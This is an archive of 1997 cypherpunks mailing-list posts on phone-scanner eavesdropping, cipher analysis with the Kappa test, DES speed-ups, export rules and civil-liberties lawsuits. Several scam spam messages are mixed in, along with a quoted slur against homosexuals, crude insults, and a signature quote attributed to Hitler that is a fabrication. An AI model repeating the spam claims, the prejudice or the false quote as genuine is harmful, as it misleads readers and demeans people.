Subject: FREE LONG DISTANCE
Message-ID: <199701140513.AAA04864@capella.net>
MIME-Version: 1.0
Content-Type: text/plain


Dear cypherpunks@toad.com,

Hi, I saw your posting online and was wondering if FREE LONG DISTANCE could be helpful to you personally or in your business. 

I am talking about FREE LONG DISTANCE anywhere in the USA, including Alaska, Hawaii, Puerto Rico, even the US Virgin Islands.

If so, just say YES and I will email you the details that will allow you to keep in touch with customers, prospects and suppliers, friends and family, colleagues and school friends. 

I am not talking about a bit of free Long Distance for a month, or 2 months or 3 months or even 6 months.

I am talking $1,000 EVERY MONTH for 36 MONTHS. I checked theres no typo here. Get $36,000 of FREE long distance.

Get the detailed profitable information, and even more (like FREE Toll Free numbers and more) RIGHT NOW! INSTANTLY! Send a blank email to yes@sal.lv

Sincerely

Bill

PS Think what it could mean to YOUR BUSINESS to keep in touch with key people and organizations on a regular basis FREE of charge

PPS What about personal relationships, how they could improve and strenghten by keeping in touch regularily FREE of charge





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nurdane Oksas <oksas@asimov.montclair.edu>
Date: Tue, 14 Jan 1997 02:48:06 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: Newt's phone calls
In-Reply-To: <32DB2262.3A62@gte.net>
Message-ID: <Pine.SOL.3.93.970114054334.19710A-100000@pegasus.montclair.edu>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 13 Jan 1997, Dale Thorn wrote:
> Clay Olbon II wrote:
> > I just caught the news reports of Newt Gingrich's cell phone calls being
> > taped by "a little old retired couple" with a scanner.  These were then
> > given to a congressman, who gave them to a newspaper.
> > The take on this that we won't hear is: "This is outrageous!  Why don't
> > cell-phones offer encryption to ensure our privacy?"
> > Unfortunately, I think crypto is still so far beneath the public
> > consciousness that the obvious solution to these sorts of problems is
> > ignored in favor of the "there oughta be a law" non-solution.  (Of course,
> > in this case there is a law!) What I really hope this incident spawns is a
> > market ...
> 
> I'm not sure what crypto will do to voice transmission, but from my
> own personal example:  I just bought two Motorola portable phones
> (46 mhz) with Secure Clear(r) voice scrambling.  On my AOR 8000
> scanner, it sounds to my ears like very muffled Chinese.

	How much did the two cost?

[...]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 14 Jan 1997 05:16:16 -0800 (PST)
To: John Gilmore <gnu@toad.com>
Subject: Re: You can now subscr. to the moderated/unmoderated/flames lists
In-Reply-To: <199701140637.WAA14213@toad.com>
Message-ID: <32DBA396.239A@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


John Gilmore wrote:

> MODERATION HAS NOT YET BEGUN.

John,
  Will you be making a "Last Chance To Call Me A Cocksucker"
announcement? (:>)

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Tue, 14 Jan 1997 05:05:23 -0800 (PST)
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: PBS program - Turing/Enigma
In-Reply-To: <60FH1D2w165w@bwalk.dm.com>
Message-ID: <199701141321.HAA07999@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


> Homosexuals have a strange attraction to cryptography, perhaps because of its
> connection to privacy and anonymity. But they haven't made any contribution to

     Speaking from personal experince Dimitri? You and Grubor enjoying each
others company?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Pomes <ppomes@Qualcomm.com>
Date: Tue, 14 Jan 1997 07:43:29 -0800 (PST)
To: cryptography@c2.org
Subject: Multi-drop quantum cryptography article in Nature 385, 47-49 (1997)
Message-ID: <17143.853256562@zelkova.qualcomm.com>
MIME-Version: 1.0
Content-Type: text/plain


(Reproduced from <http://www.nature.com>)

Eavesdropping on the line 

Secure electronic communication is becoming increasingly important. In
recent years, quantum cryptography has been investigated as a means of
detecting eavesdroppers on private lines. When quantum mechanical processes
are used to establish the 'key' used for encryption and decryption, any
eavesdropping during transmission leads to an unavoidable and detectable
disturbance in the received key information. This technique has been
demonstrated to be effective on standard communication lines between two
users, but Paul D. Townsend now introduces a practical scheme for a
multi-user network. This work demonstrates the technical feasibility of
quantum cryptography for practical applications.  P D Townsend Quantum
cryptography on multi-user optical fibre networks (Letter to Nature) Nature
385, 47-49 (1997)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mullen Patrick" <Mullen.Patrick@mail.ndhm.gtegsc.com>
Date: Tue, 14 Jan 1997 04:58:13 -0800 (PST)
To: "Ed Falk" <ed.falk@Eng.Sun.COM>
Subject: RE: encryption program
Message-ID: <n1358893706.51704@mail.ndhm.gtegsc.com>
MIME-Version: 1.0
Content-Type: text/plain


What is a Kappa test?  Is there software I can run to perform such a test?
Where can I get it?

Thanks!

Patrick
_______________________________________________________________________________
From: Ed Falk on Mon, Jan 13, 1997 20:33

I ran a quick Kappa test on it.  There was a nice fat spike at key
length 25, as somebody else suggested, but an almost perfect
correlation at 100.  The message is almost certainly a simple
polyalphabetic cipher with keylength 100.

I've been playing with it, and have maybe 5% of it decoded.  It's
full of really blatent clues.  Kind of fun.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 14 Jan 1997 07:31:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: Am I to blame? / "THE INTERNET GOLDRUSH"
In-Reply-To: <Pine.SOL.3.91.970114051043.27180B-100000@acme.sb.west.net>
Message-ID: <32DBADD8.401A@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


A few weeks ago I made several references to the InterNet
being the 'new Gold Rush'. Now, I came across this on an 
anti-spam list.  

> The "Internet Goldrush" is ON!
> It's simple!  It's quick!  It's here!
> Rush your e-mail reply to:
> <goldrush@theguru.com>
> to stake out your claim now!

  I hope that this is just a coincidence. I would hate to think
that I have personally instituted a new Battle Cry for the
Spammer/Enterprenurs. (I would also hate to gain the title of the
Benedict Arnold of the InterNet.)

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 14 Jan 1997 08:48:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: ALA/ACLU file lawsuit challenging NY "CDA" law, from NNN
Message-ID: <Pine.GSO.3.95.970114084633.10567D-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Tue, 14 Jan 1997 08:43:52 -0800 (PST)
From: Declan McCullagh <declan@well.com>
To: fight-censorship@vorlon.mit.edu
Subject: ALA/ACLU file lawsuit challenging New York "CDA" law

[Visit netlynews.com for the rest of the story. Another reason to follow
the New York case is that a successful challenge to its "harmful to
minors" ban could create a useful precedent in fighting a CDA 2.0, which
likely will have such language. --Declan]

***********

The Netly News Network
http://netlynews.com

A Civil (Libertarian) War
by Declan McCullagh (declan@well.com)
January 14, 1997
   
       On a frosty winter morning last February, Shabbir Safdar and a
   gaggle of VTW loyalists trekked to Albany, New York, to protest a
   state bill that would muzzle the Net. "This was our first time doing
   any state-level lobbying," Safdar says. "We managed to convince them
   to take some stuff out of the law." But his efforts didn't stop the   
   measure from wending its way through the legislature: In September,
   Governor George Pataki signed it into law.
                      
       Today the ACLU sued New York State in federal court, charging that
   the law is unconstitutional. New York now takes its place among two
   dozen states battling similar local legislation that would criminalize
   certain forms of Net speech. In Georgia, for instance, merely having
   an anonymous user name could be illegal. Virginia restricts state
   employees' rights to view sexually explicit material -- college       
   professors who might want to use the Net in, say, an English lit class
   have to exercise extreme caution. Forget the Communications Decency
   Act: A kind of civil war is being waged across half the U.S.
   
       The ALA v. Pataki lawsuit, filed in the Southern District of New
   York, involves 14 plaintiffs including the American Library
   Association, the American Booksellers Association Foundation for Free
   Expression, Panix, Echo and the ACLU. The coalition, which is asking
   for a permanent injunction, maintains that the law unconstitutionally
   stifles online speech and unduly interferes with interstate commerce.
   The law amends the penal code by making it a criminal offense
   punishable by seven years in prison to distribute pictures or text
   "which (are) harmful to minors."

       We here at The Netly News are ardent advocates of free speech, of
   course -- we held a joint teach-in on the New York law in the fall. So
   I spoke to Ann Beeson, a staff attorney at the ACLU, who's spent the
   last year attacking other state laws and the CDA in court. Why should
   netizens care about this law if they don't live in New York? I asked
   her.

       "Because New York can extradite you," she replied.

       But what if it's not a crime where I live?
   
       "It doesn't make a difference," Beeson said. "There's no question
   that New York could try to extradite you if you put up a web site that
   has material harmful to minors on it."

[...]






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Tue, 14 Jan 1997 08:52:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: s/n problems on this list
Message-ID: <199701141652.IAA10713@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


I've posted on this subject many times in the past, and its
something I like to brainstorm on. signal to noise problems
on this list. 

generally, the moderator-specific approaches I find less
palatable than techniques that can be automated. here
are some more ideas for automated moderation techniques.

1. software called "grouplens" I've talked about here (search
yahoo) has been used to rate articles. they found that there
was a very high correlation between how long people spent reading
articles and the "interesting" rating that they gave that article.

hence, a proposal: cpunks have long advocated and hacked mailer
programs to stick in crypto. how about sticking in a hack that
tracks how long mail messages are being read, and send that
info back to an auxilliary mailing list address. the list
software keeps track of time spent reading articles and
can allow people to screen the list based on the "most interesting
articles". "send me only those articles that go over a threshhold
of 500 combined human attention minutes".

of course this can be messed up by hackers who try to skew the
ratings. I would suggest a limit on the max time per article per
person.

2. I like the idea of a system that keeps track of complaints against
given users. it could keep track of the complaint/per age of 
every subscriber. e.g. hypothetical: LD gets 10 complaints per week, and TCM
gets 30 per week on average, and it could allow people to screen
the mail based on these numbers, such as a command "send me mail
of all users below a 20 complaint/per week value". you could,
for either of these approaches, have an "official screening value"
in which the owner of the list adjusts these parameters to his
liking.

just more ideas. I like cpunks generally favor a technological
fix that doesn't involve bottlenecks of individual moderator
opinions. (2) would be pretty easy to implement inside existing
mailing list software, at the majordomo side.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Tue, 14 Jan 1997 08:59:58 -0800 (PST)
To: oksas@asimov.montclair.edu (Nurdane Oksas)
Subject: Re: Newt's phone calls
In-Reply-To: <Pine.SOL.3.93.970114054334.19710A-100000@pegasus.montclair.edu>
Message-ID: <199701141658.IAA09761@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain


Nurdane Oksas writes:
> 
> 
> On Mon, 13 Jan 1997, Dale Thorn wrote:
> > 
> > I'm not sure what crypto will do to voice transmission, but from my
> > own personal example:  I just bought two Motorola portable phones
> > (46 mhz) with Secure Clear(r) voice scrambling.  On my AOR 8000
> > scanner, it sounds to my ears like very muffled Chinese.

I have a Panasonic 46mhz portable phone that does the same.
It's a "Sound Charger Plus" with "10ch Secure Guard".  I think it
does a very simple analog operation to 'secure' voice transmissions.
Like someone else posted, it keeps Beavis and Butthead from
listening to your conversations, but that's about it.  I think
a dedicated ham, hardware-knowledgable hacker or Fed could do
a simple frequency-inversion or whatever and listen in.

> 	How much did the two cost?

This Panasonic cost about $80 from Frys.

You might get better security from one of the newer 900mhz digital phones.
Those would still be crackable but would require some digital
equipment, which is probably not yet as common.


-- 
Eric Murray  ericm@lne.com  ericm@motorcycle.com  http://www.lne.com/ericm
PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03  92 E8 AC E6 7E 27 29 AF




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ed.falk@Eng.Sun.COM (Ed Falk)
Date: Tue, 14 Jan 1997 10:13:51 -0800 (PST)
To: Mullen.Patrick@mail.ndhm.gtegsc.com
Subject: RE: encryption program
Message-ID: <199701141808.KAA25979@peregrine.eng.sun.com>
MIME-Version: 1.0
Content-Type: text/plain


> What is a Kappa test?

Kappa test is described in Kahn's "Codebreakers".

Basicly, you take two streams of random text and line them up one over
the other.  Look for letter matches between top and bottom.  The percentage
of matches is called Kappa.

If the text is truly random, you should see matches 1/26 of the time.
However, if the text is english, you should see matches about 6.6% of
the time instead.

Likewise, if the text is encrypted with a monoalphabetic cipher, you
should *also* see matches 6.6% of the time.

Likewise, if the text comes from two different messages encrypted with
the same polyalphabetic cipher (and they're lined up properly) you
again see Kappa = 6.6%.

Finally, if the key repeats, and you've guessed the length of the
repitition correctly, and you line up the ciphertext with itself
accordingly, Kappa will again be 6.6%.


>  Is there software I can run to perform such a test?

I've been writing my own as I go along; it's more educational to do
it that way.  As been mentioned earlier in this list, there's an
archive of crypto software at

	ftp://ftp.ox.ac.uk/pub/crypto/cryptanalysis

I've been getting ideas from there, but it's more fun to write your own.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Tue, 14 Jan 1997 10:10:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: OTA papers
Message-ID: <v02140b00af017cb6e816@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>William H. Geiger said:
>
>
>In <v02140b00af00318b1fef@[10.0.2.15]>, on 01/13/97 at 02:50 PM,
>   azur@netcom.com (Steve Schear) said:
>
>
>>Its too bad OTA got the budgetary ax.  I met several of the staff and I
>>regarded them highly.
>
>Actually this is a GOOD thing. Now they will be using their talents & skills
>in the real world providing a contribution to society rather than in another
>unnecessary government bureaucracy.
>
>- --

I've read several of their papers and find, in those areas of which I feel
competent, there are few commercial equivalents with corresponding quality
and even-handedness in treatment.  I agree with you its best that much or
most of these government activities should occur in the market.  I hope
they do.  Only time will tell.

-- Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Tue, 14 Jan 1997 07:17:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Pentium optimizations for DES (BIG)
Message-ID: <199701141517.HAA25930@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I hope you'll look at Svend Olaf Mikkleson's
latest DES round replacement for libdes. He
seems to have gotten the round down to 18
clock cycles. I have not yet had a chance
to try it myself.

see: http://inet.uni-c.dk/~svolaf/des.htm

Peter Trei
trei@process.com

Peter Trei
Senior Software Engineer
Purveyor Development Team                                
Process Software Corporation
http://www.process.com
trei@process.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: services@p-lenahan.com
Date: Tue, 14 Jan 1997 07:51:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: Hello
Message-ID: <199701141551.KAA04407@alberta.sallynet.com>
MIME-Version: 1.0
Content-Type: text/plain


I_Love_SPAM,


Hi, I was wondering if you market products/services
using your computer and would like to learn how to
do so QUITE a bit better than what you are already doing?<g>

Is so, just say the words (words=MORE ORDERS) and I'll email a
free, helpful file about our program! This program is so good
that could mean the online marketing difference between
scintillating success and frustrating failure.


Sincerely,

Pat Lenahan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Liz Taylor <liz@nym.alias.net>
Date: Tue, 14 Jan 1997 03:15:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: encryption program
Message-ID: <19970114111544.5207.qmail@anon.lcs.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


Ed Falk wrote:
> 
> I ran a quick Kappa test on it.  There was a nice fat spike at key
> length 25, as somebody else suggested, but an almost perfect
> correlation at 100.  The message is almost certainly a simple
> polyalphabetic cipher with keylength 100.

	I don't want to discourage anybody from trying their
cryptanalytic skills against this, but this particular cryptogram
has already been decrypted and the plain text posted to sci.crypt a
few days back by Jim Gillogly. The message ID is <32D445A4.3DF@mentat.com>

	The snake oil vendor then came out with another cryptogram
using the same algorithm. It is titled `decryption' and the plain text
starts with "There are plenty of programs you could buy such as".
Mr. Gillogly broke that too. See news:<32DA7FE4.1F41@mentat.com>

--
Diamonds are a girl's best friend.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TiEPiLoT <tiepilot@thepentagon.com>
Date: Tue, 14 Jan 1997 08:24:19 -0800 (PST)
To: Erp <erp@digiforest.com>
Subject: Re: UnderNet:
In-Reply-To: <Pine.LNX.3.95.970114005248.21626F-100000@digital.digiforest.com>
Message-ID: <32DBB1F8.10F918E7@thepentagon.com>
MIME-Version: 1.0
Content-Type: text/plain


Erp wrote:
> 
> Ya ya ya, this is probably an inappropriate thing but hey, I haveta ask..
> 
> I just heard about the UnderNet hack tonight...  anybody have any
> information on that?  If so thanks for the reply..
> Later
> 
> ----
> 
> Erp
> 
> PS:  I hate Elitests (spec the type that think they are such because they
>                       watched Hackers when it first came out)

	I have some friends who were involved in that.. try- 

http://www.geocities.com/SiliconValley/8558/

	They have logs of their first one on there.. I'm not sure if they have
logs of last night's up yet.

				-TiE




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ernest Hua <hua@chromatic.com>
Date: Tue, 14 Jan 1997 11:25:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: "Secret Power" by Nicky Hager
Message-ID: <199701141925.LAA09825@ohio.chromatic.com>
MIME-Version: 1.0
Content-Type: text/plain


I'm sorry about violating etiquette, but it appears that I'm stuck
with 14 extra copies of this book, and I really would like to get
them off my hands.

If you are interested in buying a copy, please let me know.

Otherwise, sorry about this spam.

Ern




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sue@liame.com
Date: Tue, 14 Jan 1997 11:38:55 -0800 (PST)
Subject: PART-TIME EXECUTIVE INCOME
Message-ID: <19970114193610.AAC25493@star>
MIME-Version: 1.0
Content-Type: text/plain


Please put REMOVE in the subject and press reply if you do not wish to receive mail from us again.

**********************************************************
PART-TIME EXECUTIVE INCOME

 WORKING 5-20 HOURS PER WEEK AT YOUR OWN PACE.

NEW DIVISION OF A MAJOR (NASDAQ) 93 YEAR OLD
PHARMACEUTICAL COMPANY, SEEKS TWO PROFESSIONALS
PART-TIME OR FULL-TIME FROM WHEREVER YOU ARE,
FOR EXPANSION IN THE UNITED STATES, MEXICO,
ASIA, ETC.  STOCK OPTIONS ON TOP OF THE MOST
LUCRATIVE PAY PLAN IN THE INDUSTRY. 

FOR FREE AUDIO, CALL OUR 24 HOUR RECORDED MESSAGE 
NOW.  THEN YOU CAN HEAR WHY TOP ENTREPRENEURS, 
MEDICAL, AS WELL AS, BUSINESS PROFESSIONALS ARE 
DIVERSIFYING THROUGH US.

                                        24 HR. MESSAGE
                                        1-800-404-9151





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Tue, 14 Jan 1997 11:49:54 -0800 (PST)
To: toto@sk.sympatico.ca
Subject: Re: Newt's phone calls
Message-ID: <v02140b03af01913cbaa5@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>> The take on this that we won't hear is: "This is outrageous!  Why don't
>> cell-phones offer encryption to ensure our privacy?"
>
>  Cell-phone encryption is 'essential' for 'important' people.
>  However, it is 'dangerous' in the hands of the 'citizens' (translate
>that
>to mean 'schmucks').
>  The government doesn't object to crack-dealers having cryptography
>capabilities, they just want to make sure that those crack-dealers
>work for the CIA (freelancers need not apply).
>
>Toto

When I worked at Cylink we developed a product, called SecureCell which
combined a standard analog cellphone (NEC I think) and a version of our
SecurePhone.  Despite the fact that it could thwart any but the most well
funded eavesdropping we only sold a handfull.  It was quite pricy (about
$6,000) and required a small suitcase to tote, but even so only a few gov't
agencies (mostly diplomatic) and execs thought it was worth the trouble.

One problem facing such devices are the interruptions caused by
cell-to-cell handoffs.  These can occur even when stationary. SecureCell, I
believe, used off-the-shelf line modems.  I've read newer modem
technologies (Spectrum and AT&T) have pretty much solved this problem.

There's no reason Eric Blossom's phone encryptor can't be readily adapted
to cellular to offer a secure and more reasonably priced cellular
encryptor.



PGP Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear             | Internet: azur@netcom.com
Lamarr Labs              | Voice: 1-702-658-2654
7075 West Gowan Road     | Fax: 1-702-658-2673
Suite 2148               |
Las Vegas, NV 89129      |
---------------------------------------------------------------------

Internet and Wireless Development

        1935 will go down in history! For the first time a civilized
        nation has full gun registration! Our streets will be safer,
        our police more efficient, and the world will follow our
        lead in the future!
            --Adolf Hitler






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 14 Jan 1997 12:06:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Newt's phone calls
Message-ID: <3.0.1.32.19970114104854.0065cb80@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


>>I just caught the news reports of Newt Gingrich's cell phone calls being
>>taped by "a little old retired couple" with a scanner.  These were then
>>given to a congressman, who gave them to a newspaper.

Eavesdropping on cellphones is illegal, since there's an expectation of
privacy.
I don't know if tapping the signalling channel is illegal - it's not
eavesdropping on conversations, but it's giving you traffic analysis
including locating your victim.

Cordless phones don't offer an expectation of privacy, by some legal
definition, 
so it's not illegal, and anyone can listen in with scanners, including police,
unless there are state or local laws to the contrary  It'd be interesting
to test
the legal status of digital spread-spectrum cordless phones, which claim on
the box to offer privacy, but there probably aren't enough police forces with
sufficiently advanced scanners to crack them to make it worth transmitting
lots of bait "Yo, Bubba, I hear you've got 10 kilos of dope for sale!" 
"Yeah, it's $10/gram, I'll bring it by your house at 1234 Main Street."

>>The take on this that we won't hear is: "This is outrageous!  Why don't
>>cell-phones offer encryption to ensure our privacy?"

Analog callphones don't.  (U.S.) Digital cellphones may offer encryption,
though it's really dumbed-down encryption.  It'll probably still keep out
Beavis and Butthead, and maybe your local police, but not professionals.
I've forgotten if the CAVE encryption on John Young's site is the US version,
or if the standard we're graciously permitted by our government to use
is a different one, but it's about that strength.  Phil Karn wrote
some time ago about the NSA's armtwisting that bullied the standards
committee into coming up with the stuff.

> There is a very basic reason that cell phones are not encrypted;
> the government does not want them encrypted. 
Analog cellphones were doing well to work at all, and manufacturers and
service providers didn't want to add the complexity of encryption,
especially as a retrofit, so they got a law passed instead.

Tapping cellphones is more trouble than tapping wired phones -
they move around, and to tap them from the phone company end
requires taps everywhere that you activate when you know where
somebody is.  On the other hand, if you can just scan for them,
and crack the wimpy encryption, it's really a lot less work.
And if you overhear other interesting conversations while pursuing
a legally authorized wiretap, that was "good faith"...

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 14 Jan 1997 12:08:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: New US regs ban downloadable data-security software
Message-ID: <3.0.1.32.19970114105355.00639b20@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


>> Therefore, it would seem that, as long as the security software on your ftp
>> or WWW site is free of cost, it is OK to keep it there.  Commercial
>> security software, however, remains export-restricted.

>  I can't believe that there's no one taking advantage of this to make a
>'shareware' version of their software available, and having available, 
>for export and sale, an 'enabler' to bring it to full functionality.

In particular, if you allow free non-commercial evaluation of beta software,
e.g. McAfee's virus protection software, that would probably qualify.

It's interesting that they've structured their requirements to try to stay
within the Constitutionally authorized powers (regulation of interstate
and foreign commerce) while leaving out freeware which might lead to
an annoying legal challenge.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@replay.com (Anonymous)
Date: Tue, 14 Jan 1997 03:35:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: RSA challenge: is it legal to try?
Message-ID: <199701141135.MAA13707@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Greg Broiles says, Ian Goldberg wrote:
> 
> >According to http://www.rsa.com/rsalabs/newfaq/q76.html, RSA is in the
> >process of patent application for RC5.  Does that mean it's illegal to
> >write a keysearch program for the RC5 challenges (unless you use BSAFE
> >or something like that)?

Patents only apply to commercial use. I don't think
participating in the contest can be considered commerical use.

Me, a lawyer? No way.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Tue, 14 Jan 1997 13:08:31 -0800 (PST)
To: cypherpunks
Subject: Social Security/CommerceNet/PitneyBowes try digital signature W-2's
Message-ID: <199701142108.NAA03984@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Date: Tue, 14 Jan 97 10:06:55 EST
From: John.T.Sabo@ssa.gov
Message-Id: <9700148532.AA853265294@ccsmtpgw2.ssa.gov>
To: members@lists.Commerce.Net
Subject: Test Opportuity for CommerceNet Member Small Companies

+----------------------------------------------------------------------+
This message was addressed to:  members@lists.commerce.net
+----------------------------------------------------------------------+

To CommerceNet Members Who Are Small Employers:

CommerceNet member companies who are small employers (approximately 30
employees) are invited to participate this month with the Social Security
Administration and PitneyBowes, Inc. in an important proof-of-concept
project in
which the Social Security Administration will accept digitally-signed W-2 and
W-3 data via the Internet, with PitneyBowes issuing test software and
public key
certificates to participating employers. (I mentioned this test at the
December
CommerceNet Members' meeting.)

Participation will require completion of a field test agreement with SSA,
submission of a request for certification by PitneyBowes, and installation of
software on a Windows PC which will enable the generation of a signature key
pair as well as software which will generate, sign and transmit the wage
data to
Social Security.  The software also produces W-2 paper forms for
distribution to
employees.  If a company already uses a software product to create W-2's, the
output file can be used for this test.  (Please note that the test is not
designed to evaluate all aspects of public key cryptography - for example, no
certification practice statement has been developed.)

If you are interested in participating in this important public/private sector
test of digital signature wage reporting, please contact me as soon as
possible
and I'll arrange for Mr. Chuck Liptz, SSA's Project Manager, to contact you
immediately to provide additional details.  (Chuck can also be reached
directly
at (410) 965-7057 or <chuck.liptz@ssa.gov>.

John Sabo
Social Security Administration
(410) 965-1550

----------------------------------------------------------------------------
James M. Galvin                                          galvin@commerce.net
CommerceNet                                                  +1 410.203.2707
3209-A Corporate Court                                   FAX +1 410.203.2709
Ellicott City, MD 21042                             http://www.commerce.net/
http://www.eff.org/blueribbon                     http://www.eff.org/goldkey




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark O. Aldrich" <maldrich@grci.com>
Date: Tue, 14 Jan 1997 10:54:25 -0800 (PST)
To: Cypherpunks Mailing List <dccp@eff.org>
Subject: Reminder:  Physical DC Cypherpunks Meeting
Message-ID: <Pine.SCO.3.93.970114112730.11658B-100000@grctechs.va.grci.com>
MIME-Version: 1.0
Content-Type: text/plain


Cypherpunks:

A January 1997 physical DC Cypherpunks meeting will be held at GRC
International, Inc., in Vienna, Virginia, on Saturday, 18 January. 
Directions to GRCI, including a couple of spiffy-neato maps, are available
at:  http://www.grci.com/overview/locations/vienna/

If you're in town for the inauguration (yes, it's the following Monday),
then stop by and check out the East Coast "punks" contingent. 

Meeting starts at 1400 hours (2:00 PM).  You will be entering a secured
facility and will have to endure the usual rigors of being badged,
exchanging pleasantries with the guard, and being limited to "requires
escort" status.  So, allow a few minutes extra before the meeting starts. 

Agenda includes a presentation by Carl Ellison, Senior Systems Engineer
from CyberCash, Inc.  Ad-hoc additions are welcome - show up with your
presentation materials and you're automatically added to the agenda.  We
even have a historical crypto-relevant door prize to be given away at the
meeting!  (Assuming you can haul it home <g>)

GRCI is located at the corner of Gallows Road and Boone Blvd, about two
miles north of the Dunn-Loring Metro station on the western end of the
orange line.  As solicitations for rides haven't appeared (yet) on the
list, the assumption is that they're being coordinated off-list at the
moment.  If your ride fails you and you're stuck at the Metro on Saturday,
the phone number for where we'll be meeting is 703.506.4951.  We can
try to beg you a ride from some gracious punk with wheels.  The front
desk is 703.506.5000 or 4000, is there's no answer downstairs.

If you show up late for the meeting and there's nobody there to sign you
in, you'll have to have the guard call us.  We'll be downstairs in the
"lower level conference room."  Just say those words and s/he'll know
where we are.  S/he can then call and someone will come up to get you.

Post-meeting world-problem-solving and beer-swilling activities
can be undertaken in any of the numerous suitable locations in and
about the illustrious Tyson's Corner locale.  We'll coordinate at
the end of the meeting.

Hope to see y'all this Saturday!

------------------------------------------------------------------------- 
|I want to die peacefully,                |          Mark Aldrich       | 
|like my Granddad did.                    |   GRCI INFOSEC Engineering  | 
|Not in sheer terror,                     |     maldrich@grci.com       | 
|like his passengers did.                 | MAldrich@dockmaster.ncsc.mil| 
|_______________________________________________________________________| 
|The author is PGP Empowered.  Public key at:  finger maldrich@grci.com | 
|    The opinions expressed herein are strictly those of the author     | 
|         and my employer gets no credit for them whatsoever.           | 
-------------------------------------------------------------------------








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: szymacz@efp.poznan.pl
Date: Tue, 14 Jan 1997 04:54:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: smart cards & Chinese Remainder Theorem (CRT)
Message-ID: <Pine.PCW.3.91.970114134409.10047A-100000@francolinus.EFP.Poznan.PL>
MIME-Version: 1.0
Content-Type: text/plain


	Could anybody explain me what do smart cards producers
mean giving following parameters:
- RSA signature time without CRT,
- RSA signature time with CRT?
	I know what CRT is but I don't understand what are 
the implications of generating signature with and without CRT
(differences in security).

	




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Tue, 14 Jan 1997 14:10:03 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Newt's phone calls
Message-ID: <199701142209.OAA04830@toad.com>
MIME-Version: 1.0
